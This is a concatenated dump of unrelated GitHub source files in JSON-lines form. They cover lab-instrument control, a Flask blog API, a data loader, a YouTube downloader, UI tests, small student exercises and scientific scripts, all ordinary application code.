toggle_duty: Union[float, List[float]], # fraction\n toggle_period: Union[float, List[float]], # seconds\n toggle_duration: Union[float, List[float]], # seconds\n out_name_gamry: Optional[str] = None,\n req_out_name: Optional[str] = None,\n stop_via_ttl: Optional[bool] = True,\n *args,\n **kwargs,\n ):\n # rewrite params for consistency w/jcap eche runs\n t_duration = (\n [int(round(x * 1e3)) for x in toggle_duration]\n if isinstance(toggle_duration, list)\n else int(round(toggle_duration * 1e3))\n )\n t_on = (\n [int(round(x * y * 1e3)) for x, y in zip(toggle_period, toggle_duty)]\n if isinstance(toggle_period, list)\n else int(round(toggle_period * toggle_duty * 1e3))\n )\n t_off = (\n [int(round(x * (1 - y) * 1e3)) for x, y in zip(toggle_period, toggle_duty)]\n if isinstance(toggle_period, list)\n else int(round(toggle_period * (1 - toggle_duty) * 1e3))\n )\n t_offset = (\n [int((x * 1e3)) for x in toggle_init_delay]\n if isinstance(toggle_init_delay, list)\n else int(round(toggle_init_delay * 1e3))\n )\n\n err_code = ErrorCodes.none\n valid_trig = False\n if trigger_name in self.dev_di:\n valid_trig = True\n trigger_port = self.dev_di[trigger_name]\n if triggertype == TriggerType.risingedge:\n trigger_port_on = trigger_port\n trigger_port_off = -trigger_port\n elif triggertype == TriggerType.fallingedge:\n trigger_port_on = -trigger_port\n trigger_port_off = trigger_port\n elif triggertype == TriggerType.blip:\n trigger_port_on = trigger_port\n trigger_port_off = trigger_port\n\n if (\n valid_trig\n and out_name_gamry is not None\n and isinstance(out_name, str)\n and isinstance(t_on, int)\n and isinstance(t_off, int)\n and isinstance(t_offset, int)\n and isinstance(t_duration, int)\n and out_name in self.dev_do\n and out_name_gamry in self.dev_do\n ):\n out_port = self.dev_do[out_name]\n out_port_gamry = self.dev_do[out_name_gamry]\n out_ports = [out_port, out_port_gamry]\n t_on = [t_on] * 2\n t_off = [t_off] * 2\n t_offset = [t_offset] * 2\n t_duration = [t_duration] * 2\n self.digital_cycle_out = out_port\n self.digital_cycle_out_gamry = out_port_gamry\n self.digital_cycle_mainthread = 0\n self.digital_cycle_subthread = 1\n\n # di (AI n):\n # if n is positive, galil waits for input to go high (rising edge)\n # if n is negative, galil waits for input to go low (falling edge)\n\n elif (\n valid_trig\n and isinstance(out_name, list)\n and isinstance(t_on, list)\n and isinstance(t_off, list)\n and isinstance(t_offset, list)\n and isinstance(t_duration, list)\n and trigger_name in self.dev_di\n and all([x in self.dev_do for x in out_name])\n and len(out_name)\n == len(t_on)\n == len(t_off)\n == len(t_offset)\n == len(t_duration)\n ):\n out_ports = [self.dev_do[x] for x in out_name]\n self.digital_cycle_out = out_ports\n self.digital_cycle_out_gamry = None\n self.digital_cycle_mainthread = 0\n self.digital_cycle_subthread = [i + 1 for i in range(len(out_ports))]\n\n else:\n self.base.print_message(\n \"set_digital_cycle parameters are not valid\", error=True\n )\n return {\"error_code\": ErrorCodes.not_available}\n\n if stop_via_ttl:\n main_dmc = \"galil_toggle_main.dmc\"\n else:\n main_dmc = \"galil_toggle_main_nostop.dmc\"\n mainprog = pathlib.Path(os.path.join(driver_path, main_dmc)).read_text()\n if req_out_name is not None:\n req_port = self.dev_do[req_out_name]\n subprog_dmc = \"galil_toggle_sub_req.dmc\"\n else:\n req_port = \"\"\n subprog_dmc = \"galil_toggle_sub.dmc\"\n subprog = pathlib.Path(os.path.join(driver_path, subprog_dmc)).read_text()\n mainlines = mainprog.split(\"\\n\")\n subindex = [i for i, x in enumerate(mainlines) if x.strip().startswith(\"XQ\")][0]\n subline = mainlines.pop(subindex)\n for i in range(len(out_ports)):\n mainlines.insert(subindex + i, subline.format(subthread=i + 1))\n clearbits = [i for i, x in enumerate(mainlines) if x.strip().startswith(\"CB\")]\n for i in clearbits:\n mainlines[i] = \" \" + \"\".join([f\"CB {oc};\" for oc in out_ports])\n haltindex = [i for i, x in enumerate(mainlines) if x.strip().startswith(\"HX\")][\n 0\n ]\n mainlines.pop(haltindex)\n haltline = \" \" + \"\".join([f\"HX{i+1};\" for i in range(len(out_ports))])\n mainlines.insert(haltindex, haltline)\n prog_parts = [\n \"\\n\".join(mainlines).format(\n p_trigger_on=trigger_port_on, p_trigger_off=trigger_port_off\n )\n ] + [\n subprog.format(\n subthread=i + 1,\n p_output=out_ports[i],\n t_duration=t_duration[i],\n t_offset=t_offset[i],\n t_time_on=t_on[i],\n t_time_off=t_off[i],\n r_output=req_port,\n )\n for i in range(len(out_ports))\n ]\n dmc_prog = \"\\n\".join(prog_parts)\n await self.upload_DMC(dmc_prog)\n self.galilcmd(\"XQ #main,0\") # excecute main routine\n\n return {\"error_code\": err_code}\n\n async def stop_digital_cycle(self):\n if self.digital_cycle_out is not None:\n self.galilcmd(f\"HX{self.digital_cycle_mainthread}\") # stops main routine\n self.digital_cycle_mainthread = None\n if isinstance(self.digital_cycle_out, int):\n self.digital_cycle_out = [self.digital_cycle_out]\n for i, dout in enumerate(self.digital_cycle_out):\n self.galilcmd(f\"HX{i+1}\") # stops main routine\n cmd = f\"CB {int(dout)}\"\n _ = self.galilcmd(cmd)\n self.digital_cycle_out = None\n self.digital_cycle_subthread = None\n if self.digital_cycle_out_gamry is not None:\n cmd = f\"CB {int(self.digital_cycle_out_gamry)}\"\n _ = self.galilcmd(cmd)\n self.digital_cycle_out_gamry = None\n\n return {\"error_code\": ErrorCodes.none}\n\n def shutdown(self):\n # this gets called when the server is shut down or reloaded to ensure a clean\n # disconnect ... just restart or terminate the server\n self.base.print_message(\"shutting down galil io\")\n self.galil_enabled = False\n try:\n self.g.GClose()\n except Exception as e:\n tb = \"\".join(traceback.format_exception(type(e), e, e.__traceback__))\n self.base.print_message(\n f\"could not close galil connection: {repr(e), tb,}\", error=True\n )\n return {\"shutdown\"}\n\n\nclass AiMonExec(Executor):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.active.base.print_message(\"AiMonExec initialized.\")\n self.start_time = time.time()\n self.duration = self.active.action.action_params.get(\"duration\", -1)\n self.active.base.print_message(\"AiMonExec init complete.\")\n\n async def _poll(self):\n \"\"\"Read analog inputs from live buffer.\"\"\"\n data_dict = {}\n times = []\n for ai_name in self.active.base.fastapp.driver.monitor_ai.keys():\n val, epoch_s = self.active.base.get_lbuf(ai_name)\n data_dict[ai_name] = val\n times.append(epoch_s)\n data_dict[\"epoch_s\"] = max(times)\n iter_time = time.time()\n elapsed_time = iter_time - self.start_time\n if (self.duration < 0) or (elapsed_time < self.duration):\n status = HloStatus.active\n else:\n status = HloStatus.finished\n await asyncio.sleep(0.01)\n return {\n \"error\": ErrorCodes.none,\n \"status\": status,\n \"data\": data_dict,\n }\n","repo_name":"High-Throughput-Experimentation/helao-async","sub_path":"helao/drivers/io/galil_io_driver.py","file_name":"galil_io_driver.py","file_ext":"py","file_size_in_byte":18952,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"99"} +{"seq_id":"9649877318","text":"import RPi.GPIO as GPIO\nimport time\nimport maestro\nimport pandas as pd\n#assign variables\nLED =4\nIR =17\n#set up diff things\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(LED,GPIO.OUT)\nGPIO.setup(IR, GPIO.IN, pull_up_down=GPIO.PUD_UP)\npolo = maestro.Controller()\npolo.setSpeed(0,10)\npolo.setAccel(0,4)\nstart = polo.getPosition(0)\n\nmins = time.time() + 60*10\n#i want to make this loop more frequently\n#but i need the water reward to be at least 0.5sec\nwhile time.time() < mins:\n if GPIO.input(IR):\n print(\"hey\")\n else:\n polo.setTarget(0,6000)\n time.sleep(.5)\n polo.setTarget(0,992)\n\n\n","repo_name":"0oolivia/RPI","sub_path":"recreate data recorder.py","file_name":"recreate data recorder.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"14267899878","text":"from flask.views import MethodView\nfrom flask_smorest import Blueprint, abort\nfrom sqlalchemy.exc import SQLAlchemyError, IntegrityError\n\nfrom db import db\n\nfrom models import PostModel, UserModel\nfrom schemas import PostSchema\n\nblp = Blueprint(\"Posts\",\"posts\", description=\"Operation on posts\")\n\n@blp.route(\"/post/\")\nclass Post(MethodView):\n @blp.response(200, PostSchema)\n def get(self,post_id):\n post = PostModel.query.get(post_id)\n if post is None:\n abort(404, message=\"Post not found\")\n else:\n return post\n \n def delete(self,post_id):\n post = PostModel.query.get(post_id)\n \n db.session.delete(post)\n db.session.commit()\n return {\"message\": \"Post deleted successfully\"}\n \n@blp.route(\"/post\")\nclass PostList(MethodView):\n @blp.response(200, PostSchema(many=True))\n def get(self):\n post = PostModel.query.all()\n if len(post) == 0:\n abort(404, message=\"There are not posts yet available\")\n else:\n return post\n \n @blp.arguments(PostSchema)\n @blp.response(201, PostSchema)\n def post(self,post_data):\n post = PostModel(**post_data)\n try:\n db.session.add(post)\n db.session.commit()\n except SQLAlchemyError:\n abort(500, message=\"An error occurred while inserting post\")\n\n return post\n \n@blp.route(\"/postbycat/\")\nclass PostByCategory(MethodView):\n @blp.response(200, PostSchema(many=True))\n def get(self, category_id):\n post = PostModel.query.filter_by(category_id=category_id).all()\n if len(post) == 0:\n abort(404, message=\"There are not posts yet available\")\n else:\n return post\n\n\n@blp.route(\"/post//user/\")\nclass LinkPostToUser(MethodView):\n @blp.response(201, PostSchema)\n def post(self, post_id, user_id):\n post = PostModel.query.get_or_404(post_id)\n user = UserModel.query.get_or_404(user_id)\n\n post.users.append(user)\n\n try:\n db.session.add(post)\n db.session.commit()\n except SQLAlchemyError:\n abort(500, message=\"An error occurred while inserting the user.\")\n\n return user","repo_name":"MichaelDevsx/RestApiBlogginPP","sub_path":"resources/post.py","file_name":"post.py","file_ext":"py","file_size_in_byte":2279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"16377010488","text":"import os\nimport sys\nimport tarfile\nimport tempfile\n\nimport pandas as pd\n\nimport boto3\n\ncolumn_names = [\n \"datetime\",\n \"frame_index\",\n \"uid\",\n \"type\",\n \"confidence\",\n \"x\",\n \"y\",\n \"w\",\n \"h\",\n \"attributes\",\n]\n\n\ndef tsv_files(members):\n for tarinfo in members:\n if os.path.splitext(tarinfo.name)[1] == \".tsv\":\n yield tarinfo\n\n\ndef load_sense_video(database, table, bucket, device_id, date):\n os.system(f\"{sys.executable} -m pip install -U pytd==0.8.0 td-client\")\n\n import pytd\n\n client = pytd.Client(database=database)\n\n s3 = boto3.client(\n \"s3\",\n aws_access_key_id=os.getenv(\"S3_ACCESS_KEY_ID\"),\n aws_secret_access_key=os.getenv(\"S3_SECRET_ACCESS_KEY\"),\n )\n response = s3.list_objects(\n Bucket=bucket,\n Prefix=\"AnalyzedData/Rule/future_standard.sensevideo.1.0/{}/{}/texts\".format(\n device_id, date\n ),\n )\n\n if \"Contents\" not in response:\n print(\"found no results\")\n return\n\n for c in response[\"Contents\"]:\n key = c[\"Key\"]\n\n f = tempfile.NamedTemporaryFile(suffix=\".tgz\")\n s3.download_fileobj(bucket, key, f)\n\n print(\"downloaded file: {} -> {}\".format(key, f.name))\n try:\n tar = tarfile.open(name=f.name, mode=\"r:gz\")\n except:\n print(\"-> skipped due to read failure\")\n f.close()\n continue\n tsvs = list(tsv_files(tar))\n if len(tsvs) == 0:\n tar.close()\n f.close()\n continue\n tsv = tsvs[0]\n\n tar.extract(member=tsv)\n\n print(\"reading TSV: {}\".format(tsv.name))\n df = pd.read_csv(tsv.name, sep=\"\\t\", header=None, names=column_names)\n client.load_table_from_dataframe(df, table, writer=\"spark\", if_exists=\"append\")\n\n os.remove(os.path.abspath(tsv.name))\n tar.close()\n f.close()\n\n\nif __name__ == \"__main__\":\n load_sense_video(\n \"takuti\",\n \"sense_video\",\n \"takuti-scorer-test\",\n \"LT_92ca49b9-8671-4913-ba77-a3f4453ade4d\",\n \"2019-08-15\",\n )\n","repo_name":"treasure-data/treasure-boxes","sub_path":"integration-box/scorer-cloud/scorer.py","file_name":"scorer.py","file_ext":"py","file_size_in_byte":2104,"program_lang":"python","lang":"en","doc_type":"code","stars":105,"dataset":"github-code","pt":"99"} +{"seq_id":"14451024317","text":"from tkinter import *\nfrom tkinter.ttk import *\nfrom threading import Thread\nfrom pytube import YouTube\n\nclass YouTubeDownloader:\n def __init__(self, window):\n self.window = window\n self.window.title(\"YouTube Downloader\")\n self.label_url = Label(window, text=\"Enter the video URL:\", font ='arial 12')\n self.label_url.grid(column=0, row=0, padx=10, pady=10)\n self.entry_url = Entry(window, width=50)\n self.entry_url.grid(column=1, row=0, padx=10, pady=10)\n self.button_download = Button(window, text=\"Download\", command=self.start_download)\n self.button_download.grid(column=2, row=0, padx=10, pady=10)\n self.label_status = Label(window, text=\"\")\n self.label_status.grid(column=0, row=2, columnspan=3)\n\n def start_download(self):\n url = self.entry_url.get()\n self.entry_url.delete(0, END)\n self.label_status.config(text='', font ='arial 10')\n thread = Thread(target=self.download_video, args=(url,))\n thread.start()\n\n def download_video(self, url):\n try:\n yt = YouTube(url)\n stream = yt.streams.get_highest_resolution()\n file_size = stream.filesize\n self.label_status.config(text=\"Downloading...\")\n filename = stream.default_filename\n stream.download()\n self.label_status.config(text=\"Download complete!\")\n \n except Exception as e:\n self.label_status.config(text='Please enter correct URL', font ='arial 10')\n\n def run(self):\n self.window.mainloop()\n\nif __name__ == \"__main__\":\n window = Tk()\n window.resizable(0,0)\n downloader = YouTubeDownloader(window)\n downloader.run()","repo_name":"downlouder/video-downloader","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"38165007079","text":"import allure\nimport pytest\n\nfrom pages.main_page import MainPage\n\n\n@allure.suite('Подписка')\nclass TestSubscribeWindow:\n @allure.feature('Подписка на рассылку')\n def test_user_can_subscribe(self, everytime_new_browser):\n MainPage(everytime_new_browser).should_be_subscribe_push_allow()\n MainPage(everytime_new_browser).can_subscribe_with_push_allow()\n\n @allure.feature('Отказ от рассылки')\n def test_user_can_abandon_subscribe(self, everytime_new_browser):\n MainPage(everytime_new_browser).should_be_subscribe_push_allow()\n MainPage(everytime_new_browser).can_refuse_subscribe_push_allow()\n\n\n@allure.suite('Главное меню')\nclass TestTopMenu:\n @allure.feature('Переход по ссылке главного меню')\n @pytest.mark.parametrize('button_number_and_result', [(1, 'https://tv.rbc.ru/?utm_source=topline'),\n (2, 'https://pro.rbc.ru/'),\n (3, 'https://quote.ru/?utm_source=topline'),\n (4, 'https://events.rbc.ru/?utm_source=topline'),\n (5, 'https://spb.plus.rbc.ru/')\n ])\n def test_user_can_open_top_menu_links(self, session_browser, button_number_and_result: tuple[int, str]):\n MainPage(session_browser).subscribe_window.close_subscribe_push_allow()\n MainPage(session_browser).should_open_top_menu_link(*button_number_and_result)\n MainPage(session_browser).top_left_menu.go_main_page()\n\n @allure.feature('Переход на страницу авторизации')\n def test_user_can_open_auth_link(self, everytime_new_browser):\n MainPage(everytime_new_browser).should_open_auth_link()\n","repo_name":"Pavel-Py/rbk_auto_tests","sub_path":"tests/test_main_page.py","file_name":"test_main_page.py","file_ext":"py","file_size_in_byte":1922,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"36899867844","text":"# 2020.06.04\nimport numpy as np\nimport cv2\nimport os\nfrom skimage.util import view_as_windows\n\nfrom framework.saab import Saab\n\ndef Shrink(X, win, stride):\n X = view_as_windows(X, (1,win,win,1), (1,stride,stride,1))\n return X.reshape(X.shape[0], X.shape[1], X.shape[2], -1)\n\ndef PixelHop_Unit(X, num_kernels, saab=None, window=5, stride=1, train=True):\n X = Shrink(X, window, stride)\n S = list(X.shape)\n X = X.reshape(-1, S[-1])\n if(train==True):\n saab = Saab(num_kernels=num_kernels, useDC=True, needBias=True)\n saab.fit(X)\n transformed = saab.transform(X).reshape(S[0],S[1],S[2],-1)\n return saab,transformed\n\ndef faltten(listoflists, kernel_filter):\n flattened = []\n for i in range(len(listoflists)):\n for j in range(len(listoflists[i][kernel_filter[i]])):\n flattened.append(listoflists[i][j])\n return flattened\n\ndef PixelHopPP_Unit(X, num_kernels, saab=None, window=5, stride=1, train=True, energy_th=0, ch_decoupling=True, ch_energies=None, kernel_filter=[]):\n #for taining specify X, num_kernels, window, stride, train, energy_th, ch_decoupling, ch_energies(only if it is not the first layer)\n #for testing specift X, num_kernels, saab, window, stride, train, ch_decoupling, kernel_filter\n N, L, W, D = X.shape\n if ch_energies == None:\n ch_energies = np.ones((D)).tolist()\n out_ch_energies = []\n output = None\n if ch_decoupling == True:\n for i in range(D):\n saab, transformed = (PixelHop_Unit(X[:,:,:,i].reshape(N,L,W,1), num_kernels=num_kernels, saab=saab, window=window, stride=stride, train=train))\n if train==True:\n out_ch_energies.append(ch_energies[i] * saab.Energy)\n kernel_filter.append(out_ch_energies[i] > energy_th)\n transformed = transformed[:, :, :, kernel_filter[i]]\n if i == 0:\n output = transformed\n else:\n output = np.concatenate((output,transformed),axis=3)\n else:\n saab, transformed = (PixelHop_Unit(X, num_kernels=num_kernels, saab=saab ,window=window, stride=stride, train=train))\n if train == True:\n out_ch_energies.append(saab.Energy)\n kernel_filter.append(out_ch_energies[0] > energy_th)\n transformed = transformed[:, :, :, kernel_filter[0]]\n output = transformed\n return saab, output, kernel_filter, faltten(out_ch_energies, kernel_filter)","repo_name":"yifan-fanyi/FF-Face","sub_path":"FaceVerification/framework/pixelhop2.py","file_name":"pixelhop2.py","file_ext":"py","file_size_in_byte":2436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"19016072648","text":"from __future__ import annotations\n\nimport asyncio\nimport contextlib\nimport logging\nfrom typing import Any\nfrom typing import Awaitable\n\nlogger = logging.getLogger(__name__)\n\n\nclass SynchronousExecutor(contextlib.AbstractAsyncContextManager):\n def __init__(self, **kwargs: dict[str, Any]):\n pass\n\n async def __aenter__(self) -> SynchronousExecutor:\n return self\n\n async def __aexit__(\n self,\n exc_type: type[BaseException] | None,\n exc_value: BaseException | None,\n traceback: Any | None,\n ) -> None:\n pass\n\n async def spawn_task(self, task: Awaitable) -> None:\n await task\n\n\nclass DefaultExecutor(contextlib.AbstractAsyncContextManager):\n \"\"\"Manages the spawned tasks running in background\"\"\"\n\n _tasks: dict[object, asyncio.Task]\n _semaphore: asyncio.Semaphore\n\n def __init__(self, **kwargs: Any) -> None:\n self._tasks = {}\n concurrency_limit = kwargs.get(\"concurrency_limit\", 100)\n self._semaphore = asyncio.Semaphore(concurrency_limit)\n\n async def __aenter__(self) -> DefaultExecutor:\n return self\n\n async def __aexit__(\n self,\n exc_type: type[BaseException] | None,\n exc_value: BaseException | None,\n traceback: Any | None,\n ) -> None:\n if self._tasks:\n logging.debug(f\"{exc_type}, {exc_value}, {traceback}\")\n if exc_type == asyncio.CancelledError:\n logger.warning(\"Cancelling remaining tasks.\")\n for task in self._tasks.values():\n task.cancel()\n\n logger.info(\"Waiting for remaining tasks to finish.\")\n await asyncio.wait(self._tasks.values())\n\n async def spawn_task(self, task: Awaitable) -> None:\n identity = object()\n\n async def _task_wrapper(awaitable: Awaitable) -> None:\n try:\n await awaitable\n finally:\n self._tasks.pop(identity)\n self._semaphore.release()\n\n await self._semaphore.acquire()\n self._tasks[identity] = asyncio.create_task(_task_wrapper(task))\n","repo_name":"tibordp/pyncette","sub_path":"src/pyncette/executor.py","file_name":"executor.py","file_ext":"py","file_size_in_byte":2114,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"99"} +{"seq_id":"37795460319","text":"from django.conf.urls import url\nfrom . import views\nurlpatterns = [\n url(r'^$', views.index),\n url(r'^main$', views.main),\n url(r'^loggedin$', views.loggedin),\n url(r'^registration$', views.registration),\n url(r'^login$', views.login),\n url(r'^logout$', views.logout),\n url(r'^pokes$', views.pokes),\n url(r'^poke/(?P\\d+)$', views.poke)\n]","repo_name":"mooner70/Python-Poke","sub_path":"apps/pokeapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"25969025929","text":"from django.urls import path, include\nfrom comments import views\n\n# <<<<<<<<<<<<<<<<< EXAMPLE FOR STARTER CODE USE <<<<<<<<<<<<<<<<<\n\nurlpatterns = [\n path('', views.add_comment),\n path('video//', views.get_comments_for_video),\n path('/', views.update_comment),\n path('/replies/', include('replies.urls')),\n]\n","repo_name":"natalievmedrano/YoutubeClone","sub_path":"backend/comments/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"44305222654","text":"import numpy as np\nimport scipy.stats as stats\n\nrng = np.random.default_rng(42)\n\ndata_str = \"\"\"\n3.23 -2.50 1.88 -0.68 4.43 0.17\n1.03 -0.07 -0.01 0.76 1.76 3.18\n0.33 -0.31 0.30 -0.61 1.52 5.43\n1.54 2.28 0.42 2.33 -1.03 4.00\n0.39\n\"\"\"\ndata = np.array([float(x) for x in data_str.split()])\nn = len(data)\n\nz = stats.norm.ppf(0.95)\nmu_hat = data.mean()\nsigma_hat = data.std()\ntau_hat = z * sigma_hat + mu_hat\n\nb = 5000\nbootstrap_data = rng.normal(loc=mu_hat, scale=sigma_hat, size=(n, b))\ntau_bootstrap = z * bootstrap_data.std(axis=0) + bootstrap_data.mean(axis=0)\n\nbootstrap_se = tau_bootstrap.std()\ndelta_se = (1.534 * sigma_hat) / np.sqrt(n)\n\nprint(f\"Standard error using the delta method: {delta_se:.4}\")\nprint(f\"Standard error using parametric bootstrap: {bootstrap_se:.4}\")\n","repo_name":"dtrifuno/all-of-stats-solutions","sub_path":"src/code/09-03.py","file_name":"09-03.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"34350866823","text":"class Node:\n def __init__(self, data, next_node=None):\n self.data = data\n self.next_node = next_node\n \nclass MyStack:\n def __init__(self):\n self.head = None\n self.size = 0\n\n def __str__(self):\n current_node = self.head\n output = \"\"\n while current_node:\n output += str(current_node.data) + \"->\"\n current_node = current_node.next_node\n return output[:-2]\n\n def is_empty(self):\n return self.size == 0\n\n def push(self, value):\n new_node = Node(value)\n new_node.next_node = self.head\n self.head = new_node\n self.size += 1\n\n def pop(self):\n if self.is_empty():\n raise Exception(\"You are trying to pop an empty stack!\")\n\n if self.size == 1:\n popped_element = self.head.data\n self.head = None\n self.size = 0\n else:\n current_node = self.head\n while current_node.next_node.next_node:\n current_node = current_node.next_node\n popped_element = current_node.next_node.data\n current_node.next_node = None\n self.size -= 1\n\n return popped_element\n\n# Create a MyStack instance and test it\nmy_stack = MyStack()\nmy_stack.push(7)\nmy_stack.push(8)\nmy_stack.push(9)\nmy_stack.push(10)\nmy_stack.push(11)\nmy_stack.push(12)\nmy_stack.push(13)\n\nprint(my_stack)\n\nmy_stack.pop() # Remove the last element\n\nprint(my_stack)\n","repo_name":"irynazaiets/ml_project_ucu_ds_school","sub_path":"node.py","file_name":"node.py","file_ext":"py","file_size_in_byte":1472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"11519903470","text":"from bs4 import BeautifulSoup\nimport requests\nimport re\n'''\n问题:爬不到数据\n'''\nurl='http://www.dgtle.com/portal.php'\nwb_data=requests.get(url)\nsoup=BeautifulSoup(wb_data.text,'lxml')\nimages=soup.select('li.list-group-item.img-box > a.mix_img')\ntitles=soup.select('li.list-group-item.cards-content > h3 > a')\n\nfor image,title in zip(images,titles):\n data={\n 'image':image.get('style'),\n 'title':title.get_text()\n }\n print(data)\n\n#background-image:url(http://s2.dgtle.com/portal/201801/25/100633vsp82hd8ggi577g6.jpg?imageView2/2/w/960/q/100)\n#image=re.search('[background-image:url(]\\b[)]\\B',image.get('style'))","repo_name":"ggkai/demo","sub_path":"crawler/crawler_dgtle.py","file_name":"crawler_dgtle.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"98"} +{"seq_id":"36616244947","text":"# pylint: disable=import-error\n\n\"\"\"\nDefines commands for submitting deletion and transfer requests\n\"\"\"\n\nimport logging\n\n\nfrom dynamo.dataformat import Site\nfrom dynamo.fileop.rlfsm import RLFSM\nfrom dynamo.core.executable import inventory\n\n\nLOG = logging.getLogger(__name__)\n\n\ndef delete(site, files):\n \"\"\"\n Enters files into the deletion queue for a site\n :param str site: Site to execute deletion\n :param list files: Full LFNs of files or directories to delete\n :returns: Number of files deleted, in case ``files`` is an rvalue or something\n :rtype: int\n \"\"\"\n\n rlfsm = RLFSM()\n siteobj = inventory.sites[site]\n\n for path in files:\n path = path.strip()\n LOG.info('Deleting %s', path)\n\n rlfsm.desubscribe_file(\n siteobj, inventory.find_file(path))\n\n rlfsm.db.close()\n\n return len(files)\n\n\ndef transfer(site, files):\n \"\"\"\n Requests a transfer for files from other sites\n :param str site: The target site for the transfer\n :param list files: List of file LFNs to transfer\n :returns: Two lists of files.\n The first list is of files that were not on another disk.\n The second list is of files that were also not on tape.\n :rtype: list, list\n \"\"\"\n\n rlfsm = RLFSM()\n siteobj = inventory.sites[site]\n\n no_disk = []\n unrecoverable = []\n\n for line in files:\n\n path = line.strip()\n fileobj = inventory.find_file(path)\n\n ondisk = False\n ontape = False\n\n for repl in fileobj.block.replicas:\n if repl.site == siteobj:\n continue\n\n if not repl.has_file(fileobj):\n continue\n\n if repl.site.storage_type == Site.TYPE_DISK:\n ondisk = True\n elif repl.site.storage_type == Site.TYPE_MSS:\n ontape = True\n\n if not ondisk:\n no_disk.append(line)\n if not ontape:\n unrecoverable.append(line)\n\n if ondisk or ontape:\n rlfsm.subscribe_file(siteobj, fileobj)\n\n LOG.info('Copying %s', path)\n\n rlfsm.db.close()\n\n return no_disk, unrecoverable\n","repo_name":"SmartDataProjects/dynamo-consistency","sub_path":"dynamo_consistency/dynamo/v2/registry.py","file_name":"registry.py","file_ext":"py","file_size_in_byte":2154,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"13576572490","text":"\"\"\"\nHTMLからデータの取得と集計を行う\nURLの数\nASCII文字の数(上位10個)\n\n\"\"\"\n\nfrom inspect import indentsize\nfrom bs4 import BeautifulSoup #HTMLやXMLからデータを抽出するためのpythonのライブラリ\n\nimport urllib.request as req #urllibとはurlを扱うためのライブラリreqと(別名)をつける\n\n\ndef is_ascii(string):\n \"\"\"\n ASCII文字判定\n \"\"\"\n if string:\n return max([ord(char) for char in string]) < 128\n return True\n\n\nurl = \"https://news.yahoo.co.jp/\" #URL\nres = req.urlopen(url).read()#URLを読み込む\nsoup = BeautifulSoup(res,\"lxml\")\nlinks = soup.find_all(\"a\")\n\nb = [x.get(\"href\") for x in links]#URLの数\n\nprint(\"URL数:\" + str(len(b)))\n\n\n\ntext = soup.get_text()#テキストを取得\nlines= [line.strip() for line in text.splitlines()]\ntext = \"\\n\".join(line for line in lines if line)#テキストを取得\n\ntext_list = list(text)\nchar_lists = [i for i in text_list if i != \"\\n\" and i !=\" \"]\nascii_list = [s for s in char_lists if is_ascii(s)]\n\nd = dict() #辞書を作る\nfor i in ascii_list:\n d[i] = d[i] + 1 if i in d else 1\n\n\ndict2 = sorted(d.items(), key=lambda x:x[1], reverse=True)\n\n\nfor t,w in dict2[:10]:\n print(str(t) + \":\" + str(w))\n \n\"\"\"\nグラフの表示\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nword = []\nFY = []\n\ne = dict2[:50]\n\nfor i in range(len(e)):\n word.append(e[i][0])\n FY.append(e[i][1])\n\nindices = np.arange(len(e))\nplt.bar(indices, FY, color=\"r\")\nplt.xticks(indices, word, rotation = \"vertical\")\nplt.tight_layout()\nplt.show()","repo_name":"Temmy3620/python_file","sub_path":"get_html.py","file_name":"get_html.py","file_ext":"py","file_size_in_byte":1571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"21658992291","text":"def char_counts(textfilename):\n \"\"\"\n :param:\n 1st. Opens the file with the given filename using encoding utf-8.\n 2nd. Reads the entire file content into a single string.\n 3rd. Counts how often each character code (0–255) occurs in the\n string.\n :return:\n The result as a list or tuple, where result[i] gives the number of\n occurrences of character code i.\n\n old code:\n f = open(textfilename, \"r\")\n content = f.read()\n f.close()\n \"\"\"\n with open(textfilename, 'r') as f:\n content = f.read()\n\n return [content.count(i) for i in content]\n\n\nif __name__ == '__main__':\n\n filename = 'file_stats.py'\n frequencies = char_counts(filename)\n for code in range(256):\n if frequencies[code] > 0:\n character = ''\n if code >= 32:\n character = chr(code)\n\n print(\n '{:3}{:>4}{:6}'.format(\n code, character, frequencies[code]\n )\n )\n","repo_name":"fabiorodp/INF200_Advanced_programming","sub_path":"src/fabio_rodrigues_ex/ex02/file_stats.py","file_name":"file_stats.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"17240559660","text":"import os\n\nimport numpy as np\nfrom benchmark import DATA_PATH\nfrom benchmark.integrators import metropolis_hastings_factory\nfrom openmmtools.testsystems import CustomExternalForcesTestSystem, ConstraintCoupledHarmonicOscillator\nfrom tqdm import tqdm\n\nn_particles = 500\n\n\ndef load_harmonic_oscillator(*args, **kwargs):\n \"\"\"Load 3D harmonic oscillator\"\"\"\n testsystem = CustomExternalForcesTestSystem((\"{k}*x^2 + 